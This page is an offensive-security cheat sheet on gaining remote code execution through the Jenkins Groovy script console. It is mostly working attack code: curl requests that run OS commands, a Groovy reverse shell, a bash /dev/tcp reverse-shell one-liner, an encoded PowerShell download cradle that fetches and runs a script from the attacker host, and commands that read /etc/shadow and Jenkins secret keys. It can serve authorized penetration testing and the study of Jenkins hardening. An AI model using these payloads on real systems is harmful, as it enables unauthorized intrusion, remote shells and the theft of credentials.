Skip to content

Jenkins Groovy Console RCE

3 min read Created Sep 14, 2026 Last updated Sep 14, 2026

The Jenkins Groovy script console at /script executes arbitrary Groovy code on the server with the same permissions as the Jenkins process. This is the fastest path to RCE on any Jenkins instance where the console is accessible, either unauthenticated or with valid credentials. Confirm access first through unauthenticated access checks.

Command Execution

Groovy runs on the JVM and can execute OS commands through Java's Runtime.exec(). The simplest test confirms execution and shows the running user.

┌──(kali㉿kali)-[~]
└─$ curl -s -d 'script=println+"id".execute().text' http://$TARGET_IP:$PORT/script
uid=1000(jenkins) gid=1000(jenkins) groups=1000(jenkins)

If authentication is required, add credentials with -u $USER:$PASSWORD. Jenkins may also require a CSRF crumb token for POST requests. Fetch the crumb first and include it as a header.

┌──(kali㉿kali)-[~]
└─$ CRUMB=$(curl -s -u $USER:$PASSWORD http://$TARGET_IP:$PORT/crumbIssuer/api/json | python3 -c "import sys,json; d=json.load(sys.stdin); print(d['crumbRequestField']+':'+d['crumb'])")
┌──(kali㉿kali)-[~]
└─$ curl -s -u $USER:$PASSWORD -H "$CRUMB" -d 'script=println+"id".execute().text' http://$TARGET_IP:$PORT/script

The crumb header format is Jenkins-Crumb:value. Some older Jenkins versions use .crumb instead.

Reverse Shell

Groovy can spawn a reverse shell through Java's ProcessBuilder. The payload below works on Linux targets.

String host = "$LHOST";
int port = $LPORT;
String cmd = "/bin/bash";
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
InputStream pi = p.getInputStream(), si = s.getInputStream();
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
while (!s.isClosed()) {
  while (pi.available() > 0) so.write(pi.read());
  while (si.available() > 0) po.write(si.read());
  so.flush();
  po.flush();
  Thread.sleep(50);
  try { p.exitValue(); break; } catch (Exception e) {}
}
p.destroy();
s.close();
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT

Paste the Groovy code into the script console web UI or URL-encode it and send via curl. For a quick one-liner alternative:

┌──(kali㉿kali)-[~]
└─$ curl -s -d 'script=Thread.start+{+"bash+-c+bash+-i+>%26+/dev/tcp/$LHOST/$LPORT+0>%261".execute()+}' http://$TARGET_IP:$PORT/script

The Thread.start wrapper prevents the console from hanging while the reverse shell runs.

Windows Targets

For Windows Jenkins instances, use PowerShell to establish the reverse shell.

Thread.start {
  def cmd = "powershell -nop -w hidden -e " + "IEX(New-Object Net.WebClient).DownloadString('http://$LHOST:$LPORT/rev.ps1')".bytes.encodeBase64().toString()
  cmd.execute()
}

Host a PowerShell reverse shell script (such as Invoke-PowerShellTcp from Nishang) on your attacker web server and point the download URL to it.

Reading Files

The script console can also read files directly without spawning a shell. Useful when outbound connections are blocked.

┌──(kali㉿kali)-[~]
└─$ curl -s -d 'script=println+new+File("/etc/shadow").text' http://$TARGET_IP:$PORT/script

Works for any file the Jenkins process has read access to. Common targets: /etc/shadow, /var/lib/jenkins/secrets/master.key, application config files.

After gaining a shell, extract stored credentials from the Jenkins home directory. See Jenkins credential extraction for the decryption workflow.

References